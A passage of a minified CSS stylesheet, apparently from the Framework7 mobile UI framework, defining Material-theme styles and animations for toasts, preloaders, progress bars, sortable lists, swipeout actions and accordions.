.toast-button{margin-top:-8px;margin-bottom:-8px;margin-left:16px;margin-right:-8px}@media (max-width:568px){.md.device-iphone-x .toast-bottom .toast-content{padding-bottom:calc(14px + constant(safe-area-inset-bottom));padding-bottom:calc(14px + env(safe-area-inset-bottom))}}@media (min-width:1024px){.md.device-iphone-x .toast-bottom.modal-in{margin-bottom:constant(safe-area-inset-bottom);margin-bottom:env(safe-area-inset-bottom)}}.preloader{display:inline-block;vertical-align:middle}.preloader-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;-webkit-transition-duration:.4s;transition-duration:.4s;visibility:visible;opacity:0;background:0 0}.preloader-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.preloader-backdrop.backdrop-in{visibility:visible;opacity:1}.preloader-modal{position:absolute;left:50%;top:50%;padding:8px;background:rgba(0,0,0,.8);z-index:13500;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.preloader-modal .preloader{display:block!important}html.with-modal-preloader .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.md .preloader{font-size:0;display:inline-block;width:32px;height:32px;-webkit-animation:md-preloader-outer 3.3s linear infinite;animation:md-preloader-outer 3.3s linear infinite}@-webkit-keyframes md-preloader-outer{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes md-preloader-outer{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.md .preloader-inner{position:relative;display:block;width:100%;height:100%;-webkit-animation:md-preloader-inner-rotate 5.25s cubic-bezier(.35,0,.25,1) infinite;animation:md-preloader-inner-rotate 5.25s cubic-bezier(.35,0,.25,1) infinite}.md .preloader-inner .preloader-inner-gap{position:absolute;width:2px;left:50%;margin-left:-1px;top:0;bottom:0;-webkit-box-sizing:border-box;box-sizing:border-box;border-top:4px solid #757575}.md .preloader-inner .preloader-inner-left,.md .preloader-inner .preloader-inner-right{position:absolute;top:0;height:100%;width:50%;overflow:hidden}.md .preloader-inner .preloader-inner-half-circle{position:absolute;top:0;height:100%;width:200%;-webkit-box-sizing:border-box;box-sizing:border-box;border:4px solid #757575;border-bottom-color:transparent!important;border-radius:50%;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-duration:1.3125s;animation-duration:1.3125s;-webkit-animation-timing-function:cubic-bezier(.35,0,.25,1);animation-timing-function:cubic-bezier(.35,0,.25,1)}.md .preloader-inner .preloader-inner-left{left:0}.md .preloader-inner .preloader-inner-left .preloader-inner-half-circle{left:0;border-right-color:transparent!important;-webkit-animation-name:md-preloader-left-rotate;animation-name:md-preloader-left-rotate}.md .preloader-inner .preloader-inner-right{right:0}.md .preloader-inner .preloader-inner-right .preloader-inner-half-circle{right:0;border-left-color:transparent!important;-webkit-animation-name:md-preloader-right-rotate;animation-name:md-preloader-right-rotate}.md .preloader-modal{border-radius:4px}.md .preloader.color-red .preloader-inner-gap,.md .preloader.color-red .preloader-inner-half-circle,.md .preloader.preloader-red .preloader-inner-gap,.md .preloader.preloader-red .preloader-inner-half-circle{border-color:#f44336}.md .preloader.color-green .preloader-inner-gap,.md .preloader.color-green .preloader-inner-half-circle,.md .preloader.preloader-green .preloader-inner-gap,.md .preloader.preloader-green .preloader-inner-half-circle{border-color:#4caf50}.md .preloader.color-blue .preloader-inner-gap,.md .preloader.color-blue .preloader-inner-half-circle,.md .preloader.preloader-blue .preloader-inner-gap,.md .preloader.preloader-blue .preloader-inner-half-circle{border-color:#2196f3}.md .preloader.color-pink .preloader-inner-gap,.md .preloader.color-pink .preloader-inner-half-circle,.md .preloader.preloader-pink .preloader-inner-gap,.md .preloader.preloader-pink .preloader-inner-half-circle{border-color:#e91e63}.md .preloader.color-yellow .preloader-inner-gap,.md .preloader.color-yellow .preloader-inner-half-circle,.md .preloader.preloader-yellow .preloader-inner-gap,.md .preloader.preloader-yellow .preloader-inner-half-circle{border-color:#ffeb3b}.md .preloader.color-orange .preloader-inner-gap,.md .preloader.color-orange .preloader-inner-half-circle,.md .preloader.preloader-orange .preloader-inner-gap,.md .preloader.preloader-orange .preloader-inner-half-circle{border-color:#ff9800}.md .preloader.color-gray .preloader-inner-gap,.md .preloader.color-gray .preloader-inner-half-circle,.md .preloader.preloader-gray .preloader-inner-gap,.md .preloader.preloader-gray .preloader-inner-half-circle{border-color:#9e9e9e}.md .preloader.color-white .preloader-inner-gap,.md .preloader.color-white .preloader-inner-half-circle,.md .preloader.preloader-white .preloader-inner-gap,.md .preloader.preloader-white .preloader-inner-half-circle{border-color:#fff}.md .preloader.color-black .preloader-inner-gap,.md .preloader.color-black .preloader-inner-half-circle,.md .preloader.preloader-black .preloader-inner-gap,.md .preloader.preloader-black .preloader-inner-half-circle{border-color:#000}.md .preloader.color-multi .preloader-inner-left .preloader-inner-half-circle{-webkit-animation-name:md-preloader-left-rotate-multicolor;animation-name:md-preloader-left-rotate-multicolor}.md .preloader.color-multi .preloader-inner-right .preloader-inner-half-circle{-webkit-animation-name:md-preloader-right-rotate-multicolor;animation-name:md-preloader-right-rotate-multicolor}@-webkit-keyframes md-preloader-left-rotate{0%,100%{-webkit-transform:rotate(130deg);transform:rotate(130deg)}50%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}}@keyframes md-preloader-left-rotate{0%,100%{-webkit-transform:rotate(130deg);transform:rotate(130deg)}50%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}}@-webkit-keyframes md-preloader-right-rotate{0%,100%{-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}50%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}}@keyframes md-preloader-right-rotate{0%,100%{-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}50%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}}@-webkit-keyframes md-preloader-inner-rotate{12.5%{-webkit-transform:rotate(135deg);transform:rotate(135deg)}25%{-webkit-transform:rotate(270deg);transform:rotate(270deg)}37.5%{-webkit-transform:rotate(405deg);transform:rotate(405deg)}50%{-webkit-transform:rotate(540deg);transform:rotate(540deg)}62.5%{-webkit-transform:rotate(675deg);transform:rotate(675deg)}75%{-webkit-transform:rotate(810deg);transform:rotate(810deg)}87.5%{-webkit-transform:rotate(945deg);transform:rotate(945deg)}100%{-webkit-transform:rotate(1080deg);transform:rotate(1080deg)}}@keyframes md-preloader-inner-rotate{12.5%{-webkit-transform:rotate(135deg);transform:rotate(135deg)}25%{-webkit-transform:rotate(270deg);transform:rotate(270deg)}37.5%{-webkit-transform:rotate(405deg);transform:rotate(405deg)}50%{-webkit-transform:rotate(540deg);transform:rotate(540deg)}62.5%{-webkit-transform:rotate(675deg);transform:rotate(675deg)}75%{-webkit-transform:rotate(810deg);transform:rotate(810deg)}87.5%{-webkit-transform:rotate(945deg);transform:rotate(945deg)}100%{-webkit-transform:rotate(1080deg);transform:rotate(1080deg)}}@-webkit-keyframes md-preloader-left-rotate-multicolor{0%,100%{border-left-color:#4285f4;-webkit-transform:rotate(130deg);transform:rotate(130deg)}75%{border-left-color:#1b9a59;border-top-color:#1b9a59}50%{border-left-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}25%{border-left-color:#de3e35;border-top-color:#de3e35}}@keyframes md-preloader-left-rotate-multicolor{0%,100%{border-left-color:#4285f4;-webkit-transform:rotate(130deg);transform:rotate(130deg)}75%{border-left-color:#1b9a59;border-top-color:#1b9a59}50%{border-left-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}25%{border-left-color:#de3e35;border-top-color:#de3e35}}@-webkit-keyframes md-preloader-right-rotate-multicolor{0%,100%{border-right-color:#4285f4;-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}75%{border-right-color:#1b9a59;border-top-color:#1b9a59}50%{border-right-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(5deg);transform:rotate(5deg)}25%{border-top-color:#de3e35;border-right-color:#de3e35}}@keyframes md-preloader-right-rotate-multicolor{0%,100%{border-right-color:#4285f4;-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}75%{border-right-color:#1b9a59;border-top-color:#1b9a59}50%{border-right-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(5deg);transform:rotate(5deg)}25%{border-top-color:#de3e35;border-right-color:#de3e35}}.progressbar,.progressbar-infinite{width:100%;overflow:hidden;position:relative;display:block;-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.framework7-root>.progressbar,.framework7-root>.progressbar-infinite,.page>.progressbar,.page>.progressbar-infinite,.panel>.progressbar,.panel>.progressbar-infinite,.popup>.progressbar,.popup>.progressbar-infinite,.view>.progressbar,.view>.progressbar-infinite,.views>.progressbar,.views>.progressbar-infinite,body>.progressbar,body>.progressbar-infinite{position:absolute;left:0;top:0;z-index:15000;border-radius:0!important;-webkit-transform-origin:center top!important;transform-origin:center top!important}.with-statusbar.device-ios .framework7-root>.progressbar,.with-statusbar.device-ios .framework7-root>.progressbar-infinite,.with-statusbar.device-ios body>.progressbar,.with-statusbar.device-ios body>.progressbar-infinite,.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root>.progressbar,.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root>.progressbar-infinite,.with-statusbar.ios:not(.device-ios):not(.device-android) body>.progressbar,.with-statusbar.ios:not(.device-ios):not(.device-android) body>.progressbar-infinite{top:20px}.with-statusbar.device-android .framework7-root>.progressbar,.with-statusbar.device-android .framework7-root>.progressbar-infinite,.with-statusbar.device-android body>.progressbar,.with-statusbar.device-android body>.progressbar-infinite,.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root>.progressbar,.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root>.progressbar-infinite,.with-statusbar.md:not(.device-ios):not(.device-android) body>.progressbar,.with-statusbar.md:not(.device-ios):not(.device-android) body>.progressbar-infinite{top:24px}.with-statusbar.device-iphone-x .framework7-root>.progressbar,.with-statusbar.device-iphone-x .framework7-root>.progressbar-infinite,.with-statusbar.device-iphone-x body>.progressbar,.with-statusbar.device-iphone-x body>.progressbar-infinite{top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}.progressbar{vertical-align:middle}.progressbar span{width:100%;height:100%;position:absolute;left:0;top:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);-webkit-transition-duration:150ms;transition-duration:150ms}.progressbar-infinite:after,.progressbar-infinite:before{position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform-origin:left center;transform-origin:left center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);display:block}.progressbar-infinite.color-multi{background:0 0!important}.progressbar-in{-webkit-animation:progressbar-in 150ms forwards;animation:progressbar-in 150ms forwards}.progressbar-out{-webkit-animation:progressbar-out 150ms forwards;animation:progressbar-out 150ms forwards}@-webkit-keyframes progressbar-in{from{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}to{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@keyframes progressbar-in{from{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}to{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@-webkit-keyframes progressbar-out{from{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}to{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes progressbar-out{from{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}to{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}.md .progressbar,.md .progressbar-infinite{height:4px;background:rgba(33,150,243,.5);-webkit-transform-origin:center bottom;transform-origin:center bottom}.md .progressbar span{background:#2196f3}.md .progressbar-infinite{z-index:15000}.md .progressbar-infinite:after,.md .progressbar-infinite:before{content:'';background:#2196f3}.md .progressbar-infinite:before{-webkit-animation:md-progressbar-infinite-1 2s linear infinite;animation:md-progressbar-infinite-1 2s linear infinite}.md .progressbar-infinite:after{-webkit-animation:md-progressbar-infinite-2 2s linear infinite;animation:md-progressbar-infinite-2 2s linear infinite}.md .progressbar-infinite.color-multi:before{background:0 0;-webkit-animation:md-progressbar-infinite-multicolor-bg 3s step-end infinite;animation:md-progressbar-infinite-multicolor-bg 3s step-end infinite}.md .progressbar-infinite.color-multi:after{background:0 0;-webkit-animation:md-progressbar-infinite-multicolor-fill 3s linear infinite;animation:md-progressbar-infinite-multicolor-fill 3s linear infinite;-webkit-transform-origin:center center;transform-origin:center center}.md .color-theme-red .progressbar,.md .color-theme-red .progressbar-infinite{background:rgba(244,67,54,.5)}.md .color-theme-red .progressbar span{background:#f44336}.md .color-theme-red .progressbar-infinite:after,.md .color-theme-red .progressbar-infinite:before{background:#f44336}.md .color-theme-green .progressbar,.md .color-theme-green .progressbar-infinite{background:rgba(76,175,80,.5)}.md .color-theme-green .progressbar span{background:#4caf50}.md .color-theme-green .progressbar-infinite:after,.md .color-theme-green .progressbar-infinite:before{background:#4caf50}.md .color-theme-blue .progressbar,.md .color-theme-blue .progressbar-infinite{background:rgba(33,150,243,.5)}.md .color-theme-blue .progressbar span{background:#2196f3}.md .color-theme-blue .progressbar-infinite:after,.md .color-theme-blue .progressbar-infinite:before{background:#2196f3}.md .color-theme-pink .progressbar,.md .color-theme-pink .progressbar-infinite{background:rgba(233,30,99,.5)}.md .color-theme-pink .progressbar span{background:#e91e63}.md .color-theme-pink .progressbar-infinite:after,.md .color-theme-pink .progressbar-infinite:before{background:#e91e63}.md .color-theme-yellow .progressbar,.md .color-theme-yellow .progressbar-infinite{background:rgba(255,235,59,.5)}.md .color-theme-yellow .progressbar span{background:#ffeb3b}.md .color-theme-yellow .progressbar-infinite:after,.md .color-theme-yellow .progressbar-infinite:before{background:#ffeb3b}.md .color-theme-orange .progressbar,.md .color-theme-orange .progressbar-infinite{background:rgba(255,152,0,.5)}.md .color-theme-orange .progressbar span{background:#ff9800}.md .color-theme-orange .progressbar-infinite:after,.md .color-theme-orange .progressbar-infinite:before{background:#ff9800}.md .color-theme-gray .progressbar,.md .color-theme-gray .progressbar-infinite{background:rgba(158,158,158,.5)}.md .color-theme-gray .progressbar span{background:#9e9e9e}.md .color-theme-gray .progressbar-infinite:after,.md .color-theme-gray .progressbar-infinite:before{background:#9e9e9e}.md .color-theme-white .progressbar,.md .color-theme-white .progressbar-infinite{background:rgba(255,255,255,.5)}.md .color-theme-white .progressbar span{background:#fff}.md .color-theme-white .progressbar-infinite:after,.md .color-theme-white .progressbar-infinite:before{background:#fff}.md .color-theme-black .progressbar,.md .color-theme-black .progressbar-infinite{background:rgba(0,0,0,.5)}.md .color-theme-black .progressbar span{background:#000}.md .color-theme-black .progressbar-infinite:after,.md .color-theme-black .progressbar-infinite:before{background:#000}.md .progressbar-infinite.color-red,.md .progressbar.color-red{background:rgba(244,67,54,.5)}.md .progressbar.color-red span{background:#f44336}.md .progressbar-infinite.color-red:after,.md .progressbar-infinite.color-red:before{background:#f44336}.md .progressbar-infinite.color-green,.md .progressbar.color-green{background:rgba(76,175,80,.5)}.md .progressbar.color-green span{background:#4caf50}.md .progressbar-infinite.color-green:after,.md .progressbar-infinite.color-green:before{background:#4caf50}.md .progressbar-infinite.color-blue,.md .progressbar.color-blue{background:rgba(33,150,243,.5)}.md .progressbar.color-blue span{background:#2196f3}.md .progressbar-infinite.color-blue:after,.md .progressbar-infinite.color-blue:before{background:#2196f3}.md .progressbar-infinite.color-pink,.md .progressbar.color-pink{background:rgba(233,30,99,.5)}.md .progressbar.color-pink span{background:#e91e63}.md .progressbar-infinite.color-pink:after,.md .progressbar-infinite.color-pink:before{background:#e91e63}.md .progressbar-infinite.color-yellow,.md .progressbar.color-yellow{background:rgba(255,235,59,.5)}.md .progressbar.color-yellow span{background:#ffeb3b}.md .progressbar-infinite.color-yellow:after,.md .progressbar-infinite.color-yellow:before{background:#ffeb3b}.md .progressbar-infinite.color-orange,.md .progressbar.color-orange{background:rgba(255,152,0,.5)}.md .progressbar.color-orange span{background:#ff9800}.md .progressbar-infinite.color-orange:after,.md .progressbar-infinite.color-orange:before{background:#ff9800}.md .progressbar-infinite.color-gray,.md .progressbar.color-gray{background:rgba(158,158,158,.5)}.md .progressbar.color-gray span{background:#9e9e9e}.md .progressbar-infinite.color-gray:after,.md .progressbar-infinite.color-gray:before{background:#9e9e9e}.md .progressbar-infinite.color-white,.md .progressbar.color-white{background:rgba(255,255,255,.5)}.md .progressbar.color-white span{background:#fff}.md .progressbar-infinite.color-white:after,.md .progressbar-infinite.color-white:before{background:#fff}.md .progressbar-infinite.color-black,.md .progressbar.color-black{background:rgba(0,0,0,.5)}.md .progressbar.color-black span{background:#000}.md .progressbar-infinite.color-black:after,.md .progressbar-infinite.color-black:before{background:#000}@-webkit-keyframes md-progressbar-infinite-1{0%{-webkit-transform:translateX(-10%) scaleX(.1);transform:translateX(-10%) scaleX(.1)}25%{-webkit-transform:translateX(30%) scaleX(.6);transform:translateX(30%) scaleX(.6)}50%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}100%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}}@keyframes md-progressbar-infinite-1{0%{-webkit-transform:translateX(-10%) scaleX(.1);transform:translateX(-10%) scaleX(.1)}25%{-webkit-transform:translateX(30%) scaleX(.6);transform:translateX(30%) scaleX(.6)}50%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}100%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}}@-webkit-keyframes md-progressbar-infinite-2{0%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}40%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}75%{-webkit-transform:translateX(60%) scaleX(.35);transform:translateX(60%) scaleX(.35)}90%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}100%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}}@keyframes md-progressbar-infinite-2{0%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}40%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}75%{-webkit-transform:translateX(60%) scaleX(.35);transform:translateX(60%) scaleX(.35)}90%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}100%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}}@-webkit-keyframes md-progressbar-infinite-multicolor-bg{0%{background-color:#4caf50}25%{background-color:#f44336}50%{background-color:#2196f3}75%{background-color:#ffeb3b}}@keyframes md-progressbar-infinite-multicolor-bg{0%{background-color:#4caf50}25%{background-color:#f44336}50%{background-color:#2196f3}75%{background-color:#ffeb3b}}@-webkit-keyframes md-progressbar-infinite-multicolor-fill{0%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#f44336}24.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#f44336}25%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#2196f3}49.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#2196f3}50%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#ffeb3b}74.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#ffeb3b}75%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#4caf50}100%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#4caf50}}@keyframes md-progressbar-infinite-multicolor-fill{0%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#f44336}24.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#f44336}25%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#2196f3}49.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#2196f3}50%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#ffeb3b}74.9%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#ffeb3b}75%{-webkit-transform:scaleX(0);transform:scaleX(0);background-color:#4caf50}100%{-webkit-transform:scaleX(1);transform:scaleX(1);background-color:#4caf50}}.sortable .sortable-handler{position:absolute;top:0;bottom:1px;z-index:10;background-repeat:no-repeat;background-size:18px 12px;opacity:0;pointer-events:none;cursor:move;-webkit-transition-duration:.3s;transition-duration:.3s;right:0;background-position:100% 50%}.sortable .item-inner{-webkit-transition-duration:.3s;transition-duration:.3s}.sortable li.sorting{z-index:50;background:rgba(255,255,255,.8);-webkit-transition-duration:0s;transition-duration:0s}.sortable li.sorting .item-inner:after{display:none!important}.sortable-sorting li{-webkit-transition-duration:.3s;transition-duration:.3s}.sortable-enabled .sortable-handler{pointer-events:auto;opacity:1;background-position:50% 50%}.sortable-enabled .item-link .item-inner,.sortable-enabled .item-link .item-title-row{background-image:none!important}.sortable.theme-dark li.sorting,.theme-dark .sortable li.sorting{background-color:rgba(50,50,50,.8)}.md .sortable-handler{width:50px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%208'%3E%3Crect%20x%3D'0'%20y%3D'0'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3Crect%20x%3D'0'%20y%3D'6'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3C%2Fsvg%3E")}.md .sortable li.sorting{-webkit-box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23);box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23)}.md .sortable-enabled .item-inner,.md .sortable-enabled .item-link .item-inner{padding-right:50px}.md .list.sortable-enabled .item-link.no-chevron .item-inner,.md .list.sortable-enabled .no-chevron .item-link .item-inner,.md .list.sortable-enabled.no-chevron .item-link .item-inner,.md .no-chevron .list.sortable-enabled .item-link .item-inner{padding-right:50px}@media (orientation:landscape){.md.device-iphone-x .ios-edges .sortable-handler,.md.device-iphone-x .ios-right-edge .sortable-handler,.md.device-iphone-x .panel-right .sortable-handler,.md.device-iphone-x .popup .sortable-handler,.md.device-iphone-x .sheet-modal .sortable-handler{right:constant(safe-area-inset-right);right:env(safe-area-inset-right)}.md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner{padding-right:calc(42px + constant(safe-area-inset-right));padding-right:calc(42px + env(safe-area-inset-right))}}.swipeout{overflow:hidden;-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.swipeout-deleting{-webkit-transition-duration:.3s;transition-duration:.3s}.swipeout-deleting .swipeout-content{-webkit-transform:translateX(-100%);transform:translateX(-100%)}.swipeout-transitioning .swipeout-actions-left a,.swipeout-transitioning .swipeout-actions-right a,.swipeout-transitioning .swipeout-content,.swipeout-transitioning .swipeout-overswipe{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:left,-webkit-transform;transition-property:left,-webkit-transform;transition-property:transform,left;transition-property:transform,left,-webkit-transform}.swipeout-content{position:relative;z-index:10}.swipeout-overswipe{-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:left;transition-property:left}.swipeout-actions-left,.swipeout-actions-right{position:absolute;top:0;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;direction:ltr}.swipeout-actions-left>a,.swipeout-actions-left>button,.swipeout-actions-left>div,.swipeout-actions-left>span,.swipeout-actions-right>a,.swipeout-actions-right>button,.swipeout-actions-right>div,.swipeout-actions-right>span{color:#fff;background:#c7c7cc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;position:relative;left:0}.swipeout-actions-left>a:after,.swipeout-actions-left>button:after,.swipeout-actions-left>div:after,.swipeout-actions-left>span:after,.swipeout-actions-right>a:after,.swipeout-actions-right>button:after,.swipeout-actions-right>div:after,.swipeout-actions-right>span:after{content:'';position:absolute;top:0;width:600%;height:100%;background:inherit;z-index:-1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.swipeout-actions-right{right:0;-webkit-transform:translateX(100%);transform:translateX(100%)}.swipeout-actions-right>a:after,.swipeout-actions-right>button:after,.swipeout-actions-right>div:after,.swipeout-actions-right>span:after{left:100%;margin-left:-1px}.swipeout-actions-left{left:0;-webkit-transform:translateX(-100%);transform:translateX(-100%)}.swipeout-actions-left>a:after,.swipeout-actions-left>button:after,.swipeout-actions-left>div:after,.swipeout-actions-left>span:after{right:100%;margin-right:-1px}.md .swipeout-actions-left>a,.md .swipeout-actions-left>button,.md .swipeout-actions-left>div,.md .swipeout-actions-left>span,.md .swipeout-actions-right>a,.md .swipeout-actions-right>button,.md .swipeout-actions-right>div,.md .swipeout-actions-right>span{padding:0 24px;color:#fff}.md .swipeout-actions-left .swipeout-delete,.md .swipeout-actions-right .swipeout-delete{background:#f44336}.md .swipeout-actions-left>a.color-red,.md .swipeout-actions-left>button.color-red,.md .swipeout-actions-left>div.color-red,.md .swipeout-actions-left>span.color-red,.md .swipeout-actions-right>a.color-red,.md .swipeout-actions-right>button.color-red,.md .swipeout-actions-right>div.color-red,.md .swipeout-actions-right>span.color-red{background-color:#f44336}.md .swipeout-actions-left>a.color-green,.md .swipeout-actions-left>button.color-green,.md .swipeout-actions-left>div.color-green,.md .swipeout-actions-left>span.color-green,.md .swipeout-actions-right>a.color-green,.md .swipeout-actions-right>button.color-green,.md .swipeout-actions-right>div.color-green,.md .swipeout-actions-right>span.color-green{background-color:#4caf50}.md .swipeout-actions-left>a.color-blue,.md .swipeout-actions-left>button.color-blue,.md .swipeout-actions-left>div.color-blue,.md .swipeout-actions-left>span.color-blue,.md .swipeout-actions-right>a.color-blue,.md .swipeout-actions-right>button.color-blue,.md .swipeout-actions-right>div.color-blue,.md .swipeout-actions-right>span.color-blue{background-color:#2196f3}.md .swipeout-actions-left>a.color-pink,.md .swipeout-actions-left>button.color-pink,.md .swipeout-actions-left>div.color-pink,.md .swipeout-actions-left>span.color-pink,.md .swipeout-actions-right>a.color-pink,.md .swipeout-actions-right>button.color-pink,.md .swipeout-actions-right>div.color-pink,.md .swipeout-actions-right>span.color-pink{background-color:#e91e63}.md .swipeout-actions-left>a.color-yellow,.md .swipeout-actions-left>button.color-yellow,.md .swipeout-actions-left>div.color-yellow,.md .swipeout-actions-left>span.color-yellow,.md .swipeout-actions-right>a.color-yellow,.md .swipeout-actions-right>button.color-yellow,.md .swipeout-actions-right>div.color-yellow,.md .swipeout-actions-right>span.color-yellow{background-color:#ffeb3b}.md .swipeout-actions-left>a.color-orange,.md .swipeout-actions-left>button.color-orange,.md .swipeout-actions-left>div.color-orange,.md .swipeout-actions-left>span.color-orange,.md .swipeout-actions-right>a.color-orange,.md .swipeout-actions-right>button.color-orange,.md .swipeout-actions-right>div.color-orange,.md .swipeout-actions-right>span.color-orange{background-color:#ff9800}.md .swipeout-actions-left>a.color-gray,.md .swipeout-actions-left>button.color-gray,.md .swipeout-actions-left>div.color-gray,.md .swipeout-actions-left>span.color-gray,.md .swipeout-actions-right>a.color-gray,.md .swipeout-actions-right>button.color-gray,.md .swipeout-actions-right>div.color-gray,.md .swipeout-actions-right>span.color-gray{background-color:#9e9e9e}.md .swipeout-actions-left>a.color-white,.md .swipeout-actions-left>button.color-white,.md .swipeout-actions-left>div.color-white,.md .swipeout-actions-left>span.color-white,.md .swipeout-actions-right>a.color-white,.md .swipeout-actions-right>button.color-white,.md .swipeout-actions-right>div.color-white,.md .swipeout-actions-right>span.color-white{background-color:#fff}.md .swipeout-actions-left>a.color-black,.md .swipeout-actions-left>button.color-black,.md .swipeout-actions-left>div.color-black,.md .swipeout-actions-left>span.color-black,.md .swipeout-actions-right>a.color-black,.md .swipeout-actions-right>button.color-black,.md .swipeout-actions-right>div.color-black,.md .swipeout-actions-right>span.color-black{background-color:#000}.accordion-item-toggle{cursor:pointer;-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-toggle.active-state{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-toggle.active-state>.item-inner:after{background-color:transparent}.accordion-item-toggle 